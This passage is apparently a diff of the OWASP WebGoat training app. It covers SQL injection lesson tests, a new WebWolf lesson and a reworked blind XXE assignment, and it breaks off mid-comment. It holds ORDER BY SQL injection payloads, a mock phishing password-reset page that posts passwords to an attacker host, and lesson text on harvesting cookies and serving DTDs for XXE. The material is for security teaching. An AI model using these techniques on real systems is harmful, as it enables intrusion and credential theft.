||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -40,7 +40,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
|||||||
public void knownAccountShouldDisplayData() throws Exception {
|
public void knownAccountShouldDisplayData() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||||
.param("column", "id"))
|
.param("column", "id"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk());
|
.andExpect(status().isOk());
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -48,7 +48,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
|||||||
public void trueShouldSortByHostname() throws Exception {
|
public void trueShouldSortByHostname() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||||
.param("column", "(case when (true) then hostname else id end)"))
|
.param("column", "(case when (true) then hostname else id end)"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||||
}
|
}
|
||||||
@ -57,7 +57,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
|||||||
public void falseShouldSortById() throws Exception {
|
public void falseShouldSortById() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||||
.param("column", "(case when (true) then hostname else id end)"))
|
.param("column", "(case when (true) then hostname else id end)"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||||
}
|
}
|
||||||
@ -66,7 +66,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
|||||||
public void passwordIncorrectShouldOrderByHostname() throws Exception {
|
public void passwordIncorrectShouldOrderByHostname() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||||
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END"))
|
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
|
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -74,7 +74,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
|||||||
public void passwordCorrectShouldOrderByHostname() throws Exception {
|
public void passwordCorrectShouldOrderByHostname() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||||
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
|
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -82,7 +82,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
|||||||
public void postingCorrectAnswerShouldPassTheLesson() throws Exception {
|
public void postingCorrectAnswerShouldPassTheLesson() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
|
||||||
.param("ip", "104.130.219.202"))
|
.param("ip", "104.130.219.202"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -90,7 +90,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
|||||||
public void postingWrongAnswerShouldNotPassTheLesson() throws Exception {
|
public void postingWrongAnswerShouldNotPassTheLesson() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
|
||||||
.param("ip", "192.168.219.202"))
|
.param("ip", "192.168.219.202"))
|
||||||
.andDo(MockMvcResultHandlers.print())
|
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -53,7 +53,7 @@ public class VulnerableComponentsLessonTest extends AssignmentEndpointTest {
|
|||||||
@Test
|
@Test
|
||||||
public void success() throws Exception {
|
public void success() throws Exception {
|
||||||
// mockMvc.perform(MockMvcRequestBuilders.post("/VulnerableComponents/attack1").content("Test"))
|
// mockMvc.perform(MockMvcRequestBuilders.post("/VulnerableComponents/attack1").content("Test"))
|
||||||
// .andExpect(status().isOk()).andDo(MockMvcResultHandlers.print())
|
// .andExpect(status().isOk())
|
||||||
// .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.success"))))
|
// .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.success"))))
|
||||||
// .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
// .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||||
}
|
}
|
||||||
|
11
webgoat-lessons/webwolf-introduction/pom.xml
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
<artifactId>webwolf-introduction</artifactId>
|
||||||
|
<packaging>jar</packaging>
|
||||||
|
<parent>
|
||||||
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
|
<version>8.0-SNAPSHOT</version>
|
||||||
|
</parent>
|
||||||
|
</project>
|
@ -0,0 +1,49 @@
|
|||||||
|
package org.owasp.webgoat.plugin;
|
||||||
|
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import java.net.URI;
|
||||||
|
import java.net.URISyntaxException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 8/20/17.
|
||||||
|
*/
|
||||||
|
@AssignmentPath("/WebWolf/landing")
|
||||||
|
public class LandingAssignment extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
@Value("${webworf.url.landingpage}")
|
||||||
|
private String landingPageUrl;
|
||||||
|
|
||||||
|
@PostMapping
|
||||||
|
@ResponseBody
|
||||||
|
public AttackResult click(String uniqueCode) {
|
||||||
|
if (StringUtils.reverse(getWebSession().getUserName()).equals(uniqueCode)) {
|
||||||
|
return trackProgress(success().build());
|
||||||
|
}
|
||||||
|
return failed().feedback("webwolf.landing_wrong").build();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@GetMapping("/password-reset")
|
||||||
|
public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException {
|
||||||
|
URI uri = new URI(request.getRequestURL().toString());
|
||||||
|
ModelAndView modelAndView = new ModelAndView();
|
||||||
|
modelAndView.addObject("webwolfUrl", landingPageUrl);
|
||||||
|
modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName()));
|
||||||
|
|
||||||
|
modelAndView.setViewName("webwolfPasswordReset");
|
||||||
|
return modelAndView;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,55 @@
|
|||||||
|
package org.owasp.webgoat.plugin;
|
||||||
|
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
|
import org.owasp.webgoat.mail.IncomingMailEvent;
|
||||||
|
import org.springframework.jms.core.JmsTemplate;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
|
||||||
|
import java.time.LocalDateTime;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 8/20/17.
|
||||||
|
*/
|
||||||
|
@AssignmentPath("/WebWolf/mail")
|
||||||
|
@AllArgsConstructor
|
||||||
|
public class MailAssignment extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private JmsTemplate jmsTemplate;
|
||||||
|
|
||||||
|
@PostMapping("send")
|
||||||
|
@ResponseBody
|
||||||
|
public AttackResult sendEmail(@RequestParam String email) {
|
||||||
|
String username = email.substring(0, email.indexOf("@"));
|
||||||
|
if (username.equals(getWebSession().getUserName())) {
|
||||||
|
IncomingMailEvent mailEvent = IncomingMailEvent.builder()
|
||||||
|
.recipient(username)
|
||||||
|
.title("Test messages from WebWolf")
|
||||||
|
.time(LocalDateTime.now())
|
||||||
|
.contents("This is a test message from WebWolf, your unique code is" + StringUtils.reverse(username))
|
||||||
|
.sender("webgoat@owasp.org")
|
||||||
|
.build();
|
||||||
|
jmsTemplate.convertAndSend("mailbox", mailEvent);
|
||||||
|
return informationMessage().feedback("webwolf.email_send").feedbackArgs(email).build();
|
||||||
|
} else {
|
||||||
|
return informationMessage().feedback("webwolf.email_mismatch").feedbackArgs(username).build();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@PostMapping
|
||||||
|
@ResponseBody
|
||||||
|
public AttackResult completed(@RequestParam String uniqueCode) {
|
||||||
|
if (uniqueCode.equals(StringUtils.reverse(getWebSession().getUserName()))) {
|
||||||
|
return trackProgress(success().build());
|
||||||
|
} else {
|
||||||
|
return trackProgress(failed().feedbackArgs("webwolf.code_incorrect").feedbackArgs(uniqueCode).build());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,63 @@
|
|||||||
|
package org.owasp.webgoat.plugin;
|
||||||
|
|
||||||
|
import org.owasp.webgoat.lessons.Category;
|
||||||
|
import org.owasp.webgoat.lessons.NewLesson;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* ************************************************************************************************
|
||||||
|
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||||
|
* please see http://www.owasp.org/
|
||||||
|
* <p>
|
||||||
|
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||||
|
* <p>
|
||||||
|
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||||
|
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||||
|
* License, or (at your option) any later version.
|
||||||
|
* <p>
|
||||||
|
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||||
|
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
* General Public License for more details.
|
||||||
|
* <p>
|
||||||
|
* You should have received a copy of the GNU General Public License along with this program; if
|
||||||
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
|
* 02111-1307, USA.
|
||||||
|
* <p>
|
||||||
|
* Getting Source ==============
|
||||||
|
* <p>
|
||||||
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||||
|
* projects.
|
||||||
|
* <p>
|
||||||
|
*
|
||||||
|
* @author WebGoat
|
||||||
|
* @version $Id: $Id
|
||||||
|
* @since October 12, 2016
|
||||||
|
*/
|
||||||
|
public class WebWolfIntroduction extends NewLesson {
|
||||||
|
@Override
|
||||||
|
public Category getDefaultCategory() {
|
||||||
|
return Category.INTRODUCTION;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public List<String> getHints() {
|
||||||
|
return new ArrayList();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Integer getDefaultRanking() {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getTitle() {
|
||||||
|
return "webwolf.title";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getId() {
|
||||||
|
return "WebWolfIntroduction";
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,99 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html xmlns:th="http://www.thymeleaf.org">
|
||||||
|
|
||||||
|
<div class="lesson-page-wrapper">
|
||||||
|
<div class="adoc-content" th:replace="doc:Introduction.adoc"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="lesson-page-wrapper">
|
||||||
|
<div class="adoc-content" th:replace="doc:Uploading_files.adoc"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="lesson-page-wrapper">
|
||||||
|
<div class="adoc-content" th:replace="doc:Receiving_mail.adoc"></div>
|
||||||
|
<div class="attack-container">
|
||||||
|
<form accept-charset="UNKNOWN"
|
||||||
|
method="POST" name="form"
|
||||||
|
action="/WebGoat/WebWolf/send"
|
||||||
|
enctype="application/json;charset=UTF-8">
|
||||||
|
<div class="container-fluid">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-md-4">
|
||||||
|
<div class="form-group input-group">
|
||||||
|
<span class="input-group-addon">
|
||||||
|
@
|
||||||
|
</span>
|
||||||
|
<input class="form-control" placeholder="test1233@webgoat.org" name="email" type="email"
|
||||||
|
required=""/>
|
||||||
|
</div>
|
||||||
|
<button type="submit" class="btn btn-primary btn-block" id="btn-login">
|
||||||
|
Send e-mail
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
<br/>
|
||||||
|
<br/>
|
||||||
|
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||||
|
<form class="attack-form" accept-charset="UNKNOWN"
|
||||||
|
method="POST" name="form"
|
||||||
|
action="/WebGoat/WebWolf/mail/"
|
||||||
|
enctype="application/json;charset=UTF-8">
|
||||||
|
<div class="container-fluid">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-md-4">
|
||||||
|
<div class="input-group">
|
||||||
|
<input type="text" class="form-control"
|
||||||
|
placeholder="Type in your unique code"
|
||||||
|
name='uniqueCode'/>
|
||||||
|
<div class="input-group-btn">
|
||||||
|
<button class="btn btn-primary" type="submit">Go</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
<br/>
|
||||||
|
<br/>
|
||||||
|
<div class="attack-feedback"></div>
|
||||||
|
<div class="attack-output"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="lesson-page-wrapper">
|
||||||
|
<div class="adoc-content" th:replace="doc:Landing_page.adoc"></div>
|
||||||
|
<div class="attack-container">
|
||||||
|
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||||
|
<a href="/WebGoat/WebWolf/landing/password-reset" target="_blank">Click here to reset your password</a>
|
||||||
|
|
||||||
|
<br/>
|
||||||
|
<br/>
|
||||||
|
<form class="attack-form" accept-charset="UNKNOWN"
|
||||||
|
method="POST" name="form"
|
||||||
|
action="/WebGoat/WebWolf/landing/"
|
||||||
|
enctype="application/json;charset=UTF-8">
|
||||||
|
<div class="container-fluid">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-md-4">
|
||||||
|
<div class="input-group">
|
||||||
|
<input type="text" class="form-control"
|
||||||
|
placeholder="Type in your unique code"
|
||||||
|
name='uniqueCode'/>
|
||||||
|
<div class="input-group-btn">
|
||||||
|
<button class="btn btn-primary" type="submit">Go</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
<br/>
|
||||||
|
<br/>
|
||||||
|
<div class="attack-feedback"></div>
|
||||||
|
<div class="attack-output"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</html>
|
@ -0,0 +1,9 @@
|
|||||||
|
webwolf.title=WebWolf
|
||||||
|
|
||||||
|
webwolf.email_send=An email has been send to {0} please check your inbox.
|
||||||
|
webwolf.code_incorrect=That is not the correct code: {0}, please try again.
|
||||||
|
|
||||||
|
|
||||||
|
webwolf.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username.
|
||||||
|
|
||||||
|
webwolf.landing_wrong=This is the wrong code, try to look for the uniqueCode in the parameters in WebWolf.
|
After Width: | Height: | Size: 26 KiB |
After Width: | Height: | Size: 54 KiB |
After Width: | Height: | Size: 57 KiB |
@ -0,0 +1,21 @@
|
|||||||
|
== Introducing WebWolf
|
||||||
|
|
||||||
|
WebWolf is a separate web application which simulates an attackers machine. It makes it possible for us to
|
||||||
|
make a clear distinction between what takes place on the attacked website and the actions you need to do as
|
||||||
|
an "attacker". WebWolf was introduced after a couple of workshops where we received feedback about the fact there
|
||||||
|
was no clear distinction between what was part of the "attackers" role and what was part of the "users" role on the
|
||||||
|
website. The following items are supported in WebWolf:
|
||||||
|
|
||||||
|
* Hosting a file
|
||||||
|
* Receiving email
|
||||||
|
* Landing page for incoming requests
|
||||||
|
|
||||||
|
WebWolf runs as a separate web application and is started automatically when using the Docker image. If you
|
||||||
|
are not using the Docker image you will need to download the jar file and start it:
|
||||||
|
|
||||||
|
```
|
||||||
|
java -jar webwolf-<<version>>.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
This will start the application on port 8081, in your browser type: `http://localhost:8081/WebWolf`
|
||||||
|
You will be redirected to the login page where you need to login with your WebGoat username and password
|
@ -0,0 +1,25 @@
|
|||||||
|
== Landing page
|
||||||
|
|
||||||
|
This page will show all the requests made to '/landing/**'. This means
|
||||||
|
you can use WebWolf as your landing page for harvesting cookies etc which
|
||||||
|
is helpful when you perform a XSS lesson.
|
||||||
|
|
||||||
|
image::images/requests.png[caption="Figure: ", style="lesson-image"]
|
||||||
|
|
||||||
|
{nbsp}
|
||||||
|
{nbsp}
|
||||||
|
{nbsp}
|
||||||
|
|
||||||
|
*For this exercise you need to login to WebWolf first.*
|
||||||
|
|
||||||
|
{nbsp}
|
||||||
|
{nbsp}
|
||||||
|
|
||||||
|
Suppose we tricked a user to click on a link he/she received in an email, this link will open up our crafted
|
||||||
|
password reset link page. The user does not see any difference with the normal password reset page of the company.
|
||||||
|
The user enters a new password and hits enter, the new password will be send to your host. In this case the new
|
||||||
|
password will be send to WebWolf. Try to locate the unique code.
|
||||||
|
|
||||||
|
Please be aware after resetting the password the user will receive an error page in a real attack scenario the
|
||||||
|
user would probably see a normal success page (this is due to a limit what we can control with WebWolf)
|
||||||
|
|
@ -0,0 +1,18 @@
|
|||||||
|
== Your own mailbox
|
||||||
|
|
||||||
|
WebWolf offers a mail client which will contain the e-mail send during a lesson.
|
||||||
|
This mailbox is user specific so each user has a separate mailbox. All e-mail
|
||||||
|
send to {user}@.... wil end up in this inbox.
|
||||||
|
|
||||||
|
{nbsp}
|
||||||
|
{nbsp}
|
||||||
|
{nbsp}
|
||||||
|
|
||||||
|
image::images/mailbox.png[caption="Figure: ", style="lesson-image"]
|
||||||
|
|
||||||
|
{nbsp}
|
||||||
|
{nbsp}
|
||||||
|
{nbsp}
|
||||||
|
|
||||||
|
Try it, type in your e-mail address below and check in
|
||||||
|
WebWolf your e-mail and type in the unique code below.
|
@ -0,0 +1,12 @@
|
|||||||
|
== Uploading files
|
||||||
|
|
||||||
|
In this section you can upload files these files will be available from outside
|
||||||
|
the application. For example in a XXE attack you want to reference a DTD which you
|
||||||
|
reference from a xml, you can use WebWolf to serve this DTD.
|
||||||
|
|
||||||
|
image::images/files.png[caption="Figure: ", style="lesson-image"]
|
||||||
|
|
||||||
|
{nbsp}
|
||||||
|
|
||||||
|
After uploading a file you can use the 'Link' to get the full URL to the uploaded
|
||||||
|
file.
|
@ -0,0 +1,34 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html xmlns:th="http://www.thymeleaf.org">
|
||||||
|
<head>
|
||||||
|
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>
|
||||||
|
<link rel="stylesheet" type="text/css" th:href="@{/css/font-awesome.min.css}"/>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-xs-12 col-sm-8 col-md-6 col-sm-offset-2 col-md-offset-3">
|
||||||
|
<form role="form" method="POST" th:action="${webwolfUrl}">
|
||||||
|
<h2 class="sign_up_title">Reset your password</h2>
|
||||||
|
<input type="hidden" name="uniqueCode" th:value="${uniqueCode}"/>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="password" class="control-label">Password</label>
|
||||||
|
<input type="password" class="form-control" id="password" placeholder="Password"
|
||||||
|
name='password'/>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-xs-12 col-md-12">
|
||||||
|
<button type="submit" class="btn btn-success btn-block btn-lg">Save</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<a href="https://github.com/WebGoat">(c) 2017 WebGoat Company</a>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
@ -15,5 +15,13 @@
|
|||||||
<artifactId>commons-lang</artifactId>
|
<artifactId>commons-lang</artifactId>
|
||||||
<version>2.6</version>
|
<version>2.6</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.github.tomakehurst</groupId>
|
||||||
|
<artifactId>wiremock</artifactId>
|
||||||
|
<version>2.8.0</version>
|
||||||
|
<scope>test</scope>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
</dependencies>
|
</dependencies>
|
||||||
</project>
|
</project>
|
@ -1,17 +1,13 @@
|
|||||||
package org.owasp.webgoat.plugin;
|
package org.owasp.webgoat.plugin;
|
||||||
|
|
||||||
import com.beust.jcommander.internal.Lists;
|
|
||||||
import com.google.common.base.Joiner;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.FileUtils;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.WebSession;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.core.io.ClassPathResource;
|
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.util.FileCopyUtils;
|
|
||||||
import org.springframework.web.bind.annotation.RequestBody;
|
import org.springframework.web.bind.annotation.RequestBody;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMethod;
|
import org.springframework.web.bind.annotation.RequestMethod;
|
||||||
@ -19,10 +15,8 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
|||||||
|
|
||||||
import javax.annotation.PostConstruct;
|
import javax.annotation.PostConstruct;
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.io.FileOutputStream;
|
|
||||||
import java.nio.file.Files;
|
import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
|
||||||
import java.nio.file.Paths;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* ************************************************************************************************
|
* ************************************************************************************************
|
||||||
@ -56,46 +50,47 @@ import java.util.List;
|
|||||||
@AssignmentPath("xxe/blind")
|
@AssignmentPath("xxe/blind")
|
||||||
public class BlindSendFileAssignment extends AssignmentEndpoint {
|
public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
|
||||||
@Value("${webgoat.user.directory}")
|
@Value("${webgoat.user.directory}")
|
||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
@Autowired
|
@Autowired
|
||||||
private Comments comments;
|
private Comments comments;
|
||||||
@Autowired
|
|
||||||
private WebSession webSession;
|
|
||||||
|
|
||||||
@PostConstruct
|
@PostConstruct
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public void copyFile() {
|
public void createSecretFileWithRandomContents() {
|
||||||
ClassPathResource classPathResource = new ClassPathResource("secret.txt");
|
|
||||||
File targetDirectory = new File(webGoatHomeDirectory, "/XXE");
|
File targetDirectory = new File(webGoatHomeDirectory, "/XXE");
|
||||||
if (!targetDirectory.exists()) {
|
if (!targetDirectory.exists()) {
|
||||||
targetDirectory.mkdir();
|
targetDirectory.mkdir();
|
||||||
}
|
}
|
||||||
FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "secret.txt")));
|
FileUtils.write(new File(targetDirectory, "secret.txt"), CONTENTS);
|
||||||
}
|
}
|
||||||
|
|
||||||
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult addComment(@RequestBody String commentStr) throws Exception {
|
public AttackResult addComment(@RequestBody String commentStr) throws Exception {
|
||||||
String error = "Parsing successful contents not send to attacker";
|
//Solution is posted as a separate comment
|
||||||
|
if (commentStr.contains(CONTENTS)) {
|
||||||
|
return trackProgress(success().build());
|
||||||
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
Comment comment = comments.parseXml(commentStr);
|
Comment comment = comments.parseXml(commentStr);
|
||||||
comments.addComment(comment, false);
|
comments.addComment(comment, false);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
error = e.toString();
|
return trackProgress(failed().output(e.toString()).build());
|
||||||
}
|
|
||||||
|
|
||||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
|
||||||
List<String> lines = logFile.exists() ? Files.readAllLines(Paths.get(logFile.toURI())) : Lists.newArrayList();
|
|
||||||
boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent();
|
|
||||||
if (solved) {
|
|
||||||
logFile.delete();
|
|
||||||
return trackProgress(success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build());
|
|
||||||
} else {
|
|
||||||
return trackProgress(failed().output(error).build());
|
|
||||||
}
|
}
|
||||||
|
return trackProgress(failed().build());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE comment [
|
||||||
|
